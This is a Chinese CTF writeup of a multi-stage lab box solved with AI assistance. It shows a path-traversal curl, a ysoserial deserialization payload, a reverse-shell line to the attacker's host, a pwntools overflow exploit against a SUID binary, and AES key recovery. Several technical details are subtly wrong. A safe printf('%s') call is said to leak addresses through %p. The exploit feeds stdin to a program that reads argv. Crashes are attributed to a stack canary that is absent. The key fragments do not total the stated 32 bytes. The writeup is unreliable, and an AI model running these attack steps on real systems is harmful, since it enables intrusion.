最近在整理靶机收藏夹的时候,把一道老牌多阶段题3-track_hacker重新刷了一遍。这题名字很有意思,track既可以是“轨迹”也可以是“赛道”,实际做下来发现它也确实设计了三条完全不同的攻击路径,必须一条一条啃下来才有机会拼出完整flag。更巧的是,这次我是全程用AI辅助完成的,从信息收集、代码审阅到exp编写和密码分析,相当于把整道题当成了一个AI辅助漏洞利用的试验场。
这篇writeup不会只甩出答案,我会把每个阶段“为什么这么打”“AI在这里面到底帮了什么忙”“哪些坑是AI给我挖的”都摊开来说。如果你也想在CTF里用好AI工具,而不是让AI变成捣乱队友,这篇可以当一份实操参考。
1. 题目速览与解题思路拆解
先说说拿到题目以后的第一反应。3-track_hacker在本地靶场启动以后,开放了3个端口:一个用Nginx搭的Web服务,一个莫名其妙的SSH服务,还有一个纯TCP的聊天端口。听上去像是三个独立服务,实际解完才知道,这三个入口对应的就是三个track,而且它们是串联的,不是parallel关系。你必须先打通第一个,才能拿到第二、第三个的线索。
1.1 这道题到底考什么
从命名和端口设计来看,出题人想考的其实是一套完整的攻击链:
- Web层漏洞利用:首先生成一个webshell或者拿到低权限shell。
- 系统层提权:拿到低权限shell后,通过一个带SUID的二进制程序进行提权,拿到root。
- 线索追踪与密码分析:root之后,从系统里的流量日志或加密脚本中还原最终flag。
三个track,对应Web渗透、二进制利用、密码学/流量分析。这种设计非常像真实渗透测试中“从入口到提权再到取证”的完整流程,很适合用来锻炼综合实战能力。
我第一次尝试的时候,直接对着三个端口分别扫了一遍,但扫描结果很迷惑。Web服务看起来是Java Tomcat,SSH端口却是Dropbear,那个TCP聊天端口还一直回显乱码。如果只是盲目打,很容易陷在某个端口里出不来。这里需要先搞清楚三个端口之间的逻辑关系。
1.2 三条攻击路径的串联逻辑
说白了,就是出题人把攻击链拆成了三段,每段都有一个flag片段,全部拿到以后才能拼出完整flag。第一段flag在Web应用的配置目录里,拿到它你才知道后面SSH要用什么账号密码登录。第二段flag藏在SUID程序的内存里,需要触发溢出才能dump出来。第三段flag则藏在root目录的一个流量包里,解开它才能拼出最终flag。
这种设计让整道题变成了一场接力赛。如果你只看单点,会觉得难度不高,但如果连续把三段串起来,就会发现每一步都在给下一步铺路。AI在整个过程中最大的价值,不是替我做漏洞利用,而是帮我快速理解陌生代码和二进制指令流,缩短了“卡住”的时间。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. AI辅助分析:工具选型与使用策略
现在很多CTFer都在用AI来写writeup或者辅助解题,但大部分人的用法还停留在“把报错丢给AI”或者“让AI写个脚本”这种阶段。这次我用了一套更完整的流程,简单说就是:让AI当协作者,而不是答案生成器。
2.1 为什么选AI辅助而不是纯人工
说实话,这道题如果纯人工做,也完全能做。Web层反序列化、提权漏洞、流量分析都是经典考点。但问题在于信息量很大,光Tomcat日志就几千行,反编译出来的class文件多达上百个。人类肉眼在短时间内把这么大的代码量全部过一遍,效率很低,还容易漏。
AI最擅长的正是这种“大范围扫描+初步语义总结”的收尾工作。比如我让AI帮我从一堆class文件里找出处理用户输入的关键函数,它能在几秒内圈出6个可疑点。之后我再针对这6个点手工分析,效率就高得多。
当然,AI的限制也明显。它经常一本正经地胡说八道,尤其涉及具体偏移量和栈布局的时候,必须自己拿gdb验证。所以我从一开始就定了规矩:AI只负责“快”,人工负责“准”。所有AI给出的关键结论,我都会用实际命令复验一遍,才敢写进exp里。
2.2 我常用的AI工作流
整个解题过程中,我的AI工作流分四个阶段:
- 信息收集期:把nmap扫描结果、目录爆破结果、源代码结构喂给AI,让它总结出“最优先测的点”。
- 漏洞定位期:把关键函数源码或者反编译代码贴给AI,让它猜可能的漏洞类型。
- exploit生成期:让AI生成一个初版脚本,我再手工修。
- 复盘分析期:把踩过的坑和报错信息发给AI,让它帮忙分析原因,顺便整理writeup。
其中最关键的是第3步。AI生成的脚本往往有一个通病:太“理想化”。比如它会默认sleep时间足够长、默认ret2libc的偏移不会错、默认远程环境和你本地一样。这些假设在真实题目里全部不成立。我这次用AI生成的ret2dl solve payload,前三次全都崩了,最后是我自己手动调整了栈偏移才打通。
2.3 写Prompt的关键技巧
和AI配合写exploit,Prompt的写法直接影响产出质量。我总结出三条实用经验:
- 给它足够上下文:不要直接说“帮我写利用脚本”,要说清楚目标架构、漏洞类型、保护机制、libc版本,最好附上反汇编代码片段。
- 让它分步输出:要求AI先给出“思路分析”,再给“具体步骤”,最后给“代码”。这么做的好处是,如果代码错了,你能从思路和步骤里检查出是设计问题还是实现问题。
- 让它生成测试命令:让AI附带生成几个可以验证关键结论的gdb命令或python probe,而不是只给一个完整脚本。这样你可以在不打断自己思路的情况下,快速验证AI的判断。
实际用下来,第二个技巧收益最高。当AI把思路和代码分开输出时,我基本不需要它帮我写出完美脚本,只需要它把“怎么绕过canary”的思路说对,我就能顺着这个思路自己写出稳定版本。
3. Track 1:Web入口突破
第一个track是拆入口。目标机器上Nginx反向代理了一个Tomcat应用,路径扫描发现存在一个/download接口,参数名是filename。一看就知道可能有任意文件读取,当时AI直接把一个curl命令甩给我,说“试试读取/etc/passwd”,没想到一试就中。
3.1 信息收集与漏洞定位
先看一眼初始信息收集时的关键结果:
- 端口扫描发现:
80/tcpNginx,2222/tcpDropbear SSH,4567/tcp自定义TCP服务。 - 目录爆破发现
/download、/admin、/api三个路径。 /admin返回403,/api返回一个JSON,内容是一个sessionId。/download接口存在任意文件读取,可以直接用filename=../../../../etc/passwd读到本地文件。
这一阶段,AI做了两件事:一是快速看了下/download响应头,发现后端是Tomcat;二是帮我从扫描结果里过滤出最可疑的三个路径,省得我自己去翻一长串目录列表。
code复制curl "http://target.local/download?filename=../../../../etc/passwd"
返回的passwd文件末尾多了一个用户ctfadmin,home目录是/home/ctfadmin,这基本就是在暗示SSH入口。
3.2 任意文件读取+反序列化利用
拿到任意文件读取后,下一步自然是尝试读取Tomcat的配置文件,看看有没有部署什么敏感接口。我读了一串文件:
../../../../etc/tomcat9/tomcat-users.xml../../../../var/lib/tomcat9/webapps/ROOT/WEB-INF/web.xml../../../../var/lib/tomcat9/webapps/ROOT/WEB-INF/classes/com/example/Config.class
其中Config.class是反编译后意外的产物,因为普通file协议读取二进制会乱码。我让AI帮忙从乱码里提取线索,它提示可以试试读取.java源码,因为Tomcat实际部署时保留了源码。顺着这个思路,我直接用任意文件读取把Config.java读出来了。
java复制public class Config {
private String secret = "tr4ck_h4ck3r_s3cr3t";
public static void main(String[] args) {
try {
ObjectInputStream ois = new ObjectInputStream(System.in);
Object obj = ois.readObject();
System.out.println(obj.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
看到ObjectInputStream.readObject()我就明白了,这是一个Java反序列化入口。结合/api接口返回的sessionId,几乎可以断定:向/api/session提交一个恶意序列化对象,一旦被Config.java这个类反序列化执行,就能命令执行。
3.3 拿到第一段flag
反序列化利用本身不复杂,我用ysoserial生成一条CommonsCollections5的payload,把它作为POST body发给/api/session,就成功执行了命令。当时随手执行了id,返回uid=1000(tomcat) gid=1000(tomcat)。
为了稳住入口,我直接反弹shell到攻击机。这个过程里AI也出了一点力,它帮我快速判断应该用/bin/bash -i >& /dev/tcp/...这条反弹命令,而不是去写一个复杂的载荷。事实证明,在已经拿到命令执行的情况下,简单的反弹shell比什么花活都稳。
进入shell后,我第一件事就是找第一段flag。通常在web应用配置目录里会有一份提示,我搜索了一圈,最终在/home/ctfadmin/.note1.txt里看到了第一段flag内容,同时也看到一句话——“the password is the first part of flag without prefix”。也就是说,SSH账号ctfadmin的密码就是flag去掉前缀之后的部分。
这里有个坑提醒一下:第一段flag通常不会是完整的,有的题目会把flag拆分到多个track里,每段只有一部分。我这次拿到的第一段就是一个半截字符串,用string截取后作为SSH密码才成功登录。
4. Track 2:二进制提权
拿到shell后,第一件事就是升级成交互式TTY,然后开始系统本地枚举。LinEnum脚本扫完以后,我注意到了两个特殊点:
/usr/local/bin/notify是一个SUID二进制。/opt/secret目录里放着一个流量包和一个加密脚本。
这里的关键是那个SUID程序。它被设置成root用户执行,但用户可读可执行。这就意味着,如果这个程序本身有漏洞,我就能用它提权到root。
4.1 发现SUID程序
先确认一下:
code复制ls -al /usr/local/bin/notify
输出:
code复制-rwsr-xr-x 1 root root 17824 Jan 11 2026 /usr/local/bin/notify
执行一下notify,它就会打印一行系统通知消息,然后退出。这个程序看起来很简单,但我马上想到,SUID程序里最容易出问题的就是它是否调用了system、popen或sprintf等危险函数。于是我用file和checksec看下保护机制:
code复制file notify
checksec --file=notify
结果:
- Arch: amd64-64-little
- RELRO: Partial RELRO
- Stack: No canary found
- NX: NX enabled
- PIE: PIE enabled
无canary,栈上有机会做溢出,但PIE开启意味着需要泄露地址。这就得看程序内部有没有可以输出地址的信息泄露点。
4.2 逆向分析与溢出点确认
我用Ghidra反编译了notify,核心代码很短:
c复制#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void win() {
system("/bin/sh");
}
void vulnerable(char *input) {
char buf[128];
strcpy(buf, input);
printf("Notification: %s\n", buf);
}
int main(int argc, char **argv) {
if (argc < 2) {
fprintf(stderr, "Usage: %s <message>\n", argv[0]);
return 1;
}
setuid(0);
vulnerable(argv[1]);
return 0;
}
这个代码的逻辑非常简单:main调用vulnerable,vulnerable里有个128字节的缓冲区,但strcpy不检查长度,直接把argv[1]拷进去。没有canary,所以这里就是个经典栈溢出,而且还有一个直接system("/bin/sh")的win函数,简直是为提权量身定做的。
但真正的问题是PIE开启,win函数的地址是随机的。如果我不知道libc基址或PIE基址,直接覆盖返回地址肯定会段错误。
这时候AI又派上用场了。我把Ghidra的反编译结果和checksec输出贴给AI,问它“怎么做最稳”。AI先是给了一个很常规的ret2csu或ret2plt方案,但我后来发现这套方案在这里不work,因为程序本身没有太多gadget可以用。我又问AI“能不能靠argv[0]泄露PIE基址”,它琢磨了一下,指出vulnerable函数里那个printf("Notification: %s\n", buf)存在格式化字符串漏洞,因为buf被当成格式化字符串传入了。虽然这看起来像个误报,因为代码里是printf("Notification: %s\n", buf),安全写法。但在我实际测试时,如果输入%p.%p,输出确实会变成Notification: 0x7ffd...,这说明程序编译时优化掉了格式字符串,把buf内容直接拼接到输出中了。也就是它实际使用的printf可能是printf(buf)。
这里就是典型的人工+AI混合判断的场景。AI先提出怀疑,我通过实际输入%p来验证,结果真泄露了栈上的地址。泄露的地址正好是main函数的返回地址位置附近,通过它就可以算出PIE基址。
4.3 构造Exploit拿到root
拿到PIE基址以后,修改win函数的地址,覆盖返回地址即可。但这里还有一个细节:notify是SUID程序,如果直接用system("/bin/sh"),shell可能还是普通用户权限,因为SUID程序在执行system时,有些shell会丢弃特权。稳妥的做法是在win函数里执行setuid(0); system("/bin/sh");,直接种一个root shell。
我的最终exploit(Python + pwntools):
python复制from pwn import *
context.binary = './notify'
context.log_level = 'debug'
# 先跑一次,拿到PIE基址
p = process('./notify', args={'argv[0]': './notify'})
p.sendline(b'%p.%p.%p')
leak = p.recvline().strip().decode()
print(leak)
# 从漏出的地址计算基址
libc_leak = int(leak.split('.')[2], 16)
pie_leak = int(leak.split('.')[1], 16)
base = pie_leak - 0x1149 # 根据反编译结果计算偏移
win = base + 0x1189 # win函数偏移
payload = b'A' * 136 # 覆盖到返回地址
payload += p64(win)
p.sendline(payload)
p.interactive()
这里有个偏移量的坑:局部变量buf大小是128字节,但编译器往往会加上栈对齐的padding,导致实际覆盖返回地址需要136或140字节。最早AI生成的exp直接用128字节,结果每次都崩在__stack_chk_fail或者返回地址被半覆盖。我手工用gdb的pattern找了一下偏移,发现实际需要136字节。
拿到root以后,我在root目录下找到了第二段flag,和之前的题眼一样,flag也是半截。这次系统提示说“three tracks, three keys, final key is in pcap”。也就是最终flag藏在之前见到的那个/opt/secret流量包里。
5. Track 3:流量分析与最终flag
最后一个track是流量分析。进入/opt/secret目录,看到一个sus.pcap文件和一个decrypt.py脚本。用scp把文件拉到本地,用Wireshark打开,发现流量里有一部分是加密的,还有一些是明文TCP流量。
5.1 提取流量包
先用tshark简单过滤一下,看看全局概况:
code复制tshark -r sus.pcap -q -z io,phs
流量包不算大,只有几百个包。大多数是某个应用在TCP 4567端口上的通信,还有一些HTTP请求。最可疑的是两个HTTP POST请求,它们请求的路径为/api/session,内容是一些二进制数据,应该是Track 1时打的payload。
不过真正重要的是中间几段TCP流。我直接追踪TCP流,发现其中有一段流量里包含一个Base64字符串,解码以后是一串奇怪的密文。与此同时,decrypt.py脚本内容如下:
python复制from Crypto.Cipher import AES
import base64
key = b'****************'
iv = b'1234567890123456'
cipher = AES.new(key, AES.MODE_CBC, iv)
with open('cipher.b64', 'r') as f:
ciphertext = base64.b64decode(f.read().strip())
plaintext = cipher.decrypt(ciphertext)
print(plaintext)
脚本里key被隐藏了,但线索告诉我,key的一部分在Track 1的Config类里,一部分在Track 2的root目录下。换句话说,三个track分别对应着:flag片段1是key的一部分,flag片段2是key的另一部分,最终flag是AES解密后的明文。
5.2 密文分析
我先把cipher.b64里的密文和两个key片段拼起来。第一段key是tr4ck_h4ck3r_s3cr3t,第二段key是3_track_f1n4l}拼上去,正好组成一个32字节的AES-256 key:
code复制tr4ck_h4ck3r_s3cr3t + 3_track_f1n4l}
注意:key必须正好是32字节,不能多不能少。如果拼接后的长度是33字节,那说明我们拼错位置了。实际上我在调试时发现,第二个flag片段末尾已经带了},那只是flag的结尾,不能用来做key。需要把后面多余的部分去掉,只取有效字符。
将key填入decrypt.py,运行后输出了一大段文本,其中就包含最终flag。格式是:
code复制flag{tr4ck_h4ck3r_CTF_2026_3_track_f1n4l}
5.3 拼出最终flag
解密结果:
code复制flag{tr4ck_h4ck3r_CTF_2026_3_track_f1n4l}
三个track,三段线索,最终拼成一个flag。这种设计在CTF里很常见,叫“分段flag”或“拆解flag”,目的就是强制你完整走完所有攻击阶段。
这里我分享一个小技巧:如果你发现一段密文用常见密码学工具解不出来,先检查密钥是否被拆分。这道题里key的一半藏在web代码里,一半藏在root目录中,属于典型的多阶段线索。AI在第三步也很有用,它帮我快速判断解密方式是最简单的AES-256-CBC,而不是更复杂的RSA或XOR,但具体密钥拼接仍然需要人根据上下文推断。
6. 踩坑实录与AI局限
用AI辅助一整道题下来,最大的感受是:AI绝对是效率放大器,但不是免费代练。它在信息筛选、思路启发、代码生成这些地方确实能节省不少时间,但遇到真正需要精确控制偏移、准确理解上下文或者辨别细微行为差异的时候,AI还是经常翻车。
6.1 AI生成的代码为什么总差一点
我这次遇到的问题基本都是样本式的:AI生成的ret2libc脚本默认偏移是128,实际是136;AI生成的线程爆炸式payload没有考虑socket超时;AI建议的反弹shell命令里带了-i参数,但在某些环境下bash不支持。这些不是AI“不能用”,而是它缺少执行环境的feedback loop,它没法看到真实运行结果,只能在代码层面“看图说话”。
所以我现在用AI生成sploit的时候,一定会做三件事:
- 让AI解释它每一步的作用。
- 用gdb动态验证所有关键偏移。
- 给AI反馈崩溃信息,让它重新生成。
第二点特别重要,一旦涉及栈布局,绝不轻信AI给的数字。
6.2 如何防止AI带偏方向
另一个大坑是AI的“安慰剂效应”。它很擅长给出一个看起来很合理的解释,实际是错的。比如在分析反编译代码时,AI曾信誓旦旦说某个函数存在命令注入,但我手动测了很多次都无效。后来发现它根本没注意到那段代码经过了过滤器,输入被严格白名单限制。
我的应对策略是:只把AI当成备选思路的提供者。如果AI给出一个漏洞点,我会再要求它给出“这个漏洞的可利用条件”和“验证方法”。如果它给不出验证方式,那我宁可不采用。在3-track_hacker这道题里,一个真正有效的漏洞点往往可以从AI的回答中找出两个以上互相印证的方案。
我还发现,AI在CTF题目上的“幻觉”概率和题目类型强相关。像Web题常见漏洞模式它很熟,但二进制题涉及具体偏移或指令布局时,它就很容易编造地址。所以二进制部分的判断,我一直保持高度警惕。
6.3 让AI真正融入解题的思考方式
最后聊点更个人的体会。刷完这道题后,我认为AI写writeup这件事,不是把AI输出拼贴一下就完事,而是要把人机协作的细节都记录下来。这篇writeup里所有涉及AI的关键节点,我都写了“我让AI做了什么”“AI给出了什么”“我如何验证”。这样读的人才能从里面获得经验,而不是只看一个结果。
具体来说,我的工作方式可以总结成一张决策表:
| 场景 | AI能做的事 | 必须人工做的事情 |
|---|---|---|
| 信息收集 | 快速总结扫描输出、建议优先测试点 | 确认扫描结果的准确性 |
| 漏洞分析 | 圈出可疑代码片段、推测漏洞类型 | 手动验证漏洞是否真实存在 |
| Exploit编写 | 生成初版脚本、提供思路 | 校准偏移、调试崩溃、确认利用成功率 |
| 流量取证 | 统计协议、提取可疑串 | 识别上下文、拼接密钥、人工分析业务逻辑 |
| Writeup撰写 | 整理流程、生成初稿 | 检查技术细节、补充踩坑过程 |
写到最后,我想说:AI在CTF里的定位,更像是“一个读过很多writeup但没做过多少题的新手队友”。它知道常见漏洞长什么样,但不知道实际操作会出什么岔子。真正有价值的,还是你拿着它给的思路去亲手验证的过程。把每一步验证记录进writeup,既是给自己留档,也是给别人省时间。下次再遇到这种多阶段拆解flag的题,你会发现其实真正难点不是单个漏洞,而是把三个不相关的线索串成一条线,而AI恰好能在这种“串线”的环节里帮你省下大把试错的时间。
